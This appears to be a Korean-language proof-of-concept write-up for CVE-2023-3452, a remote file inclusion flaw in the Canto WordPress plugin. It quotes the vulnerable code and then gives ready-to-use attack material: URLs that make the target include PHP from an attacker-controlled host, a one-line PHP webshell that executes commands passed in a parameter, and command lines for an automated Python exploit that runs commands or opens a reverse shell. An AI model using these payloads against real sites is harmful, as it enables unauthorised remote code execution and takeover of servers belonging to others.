
워드프레스 플러그인 Canto < 3.0.5 - 원격 파일 포함(RFI) 및 원격 코드 실행(RCE)
여기서는 Canto 워드프레스 플러그인의 최신 RFI (원격 파일 포함) 취약점에 대한 PoC를 설명하며, 명령 실행을 자동화하는 익스플로잇을 개발했습니다.
"Canto 워드프레스 플러그인은 'wp_abspath' 매개변수를 통해 3.0.4 버전까지 (3.0.4 포함) 원격 파일 포함에 취약합니다. 이로 인해 인증되지 않은 공격자가 allow_url_include가 활성화된 경우 서버에서 임의의 원격 코드를 포함하고 실행할 수 있습니다. 로컬 파일 포함도 가능하지만, 공격자가 FTP 또는 다른 수단을 통해 웹 서버가 읽을 수 있는 디렉토리에 악성 PHP 파일을 업로드할 수 있어야 하므로 덜 유용합니다." (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
이 익스플로잇은 다음 코드 라인에서 볼 수 있듯이 wp_abspath 매개변수의 버그를 이용합니다 includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
이 취약점을 악용하려면 php 구성에서 allow_url_include=On 매개변수가 활성화되어 있어야 합니다.
이 매개변수를 우리 웹 서버를 가리키도록 설정하여 요청을 보내면 php 코드가 해석됩니다. 예를 들어 다음과 같은 요청을 하면 서버에서 요청을 수신하는지 확인할 수 있습니다.:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

서버가 /wp-admin/admin.php 파일을 호출하는 것을 확인할 수 있습니다. 따라서 디렉토리를 생성하고 admin.php 파일에 악성 php 코드를 추가하면 취약한 서버가 이를 다운로드하여 올바르게 실행합니다.
예를 들어 admin.php 파일에 php 웹쉘 <?php system($_GET['cmd']); ?>을 작성하면 원격으로 코드를 실행할 수 있습니다.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

이 모든 과정은 파이썬 익스플로잇 CVE-2023-3452.py에 자동화되어 있습니다.
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
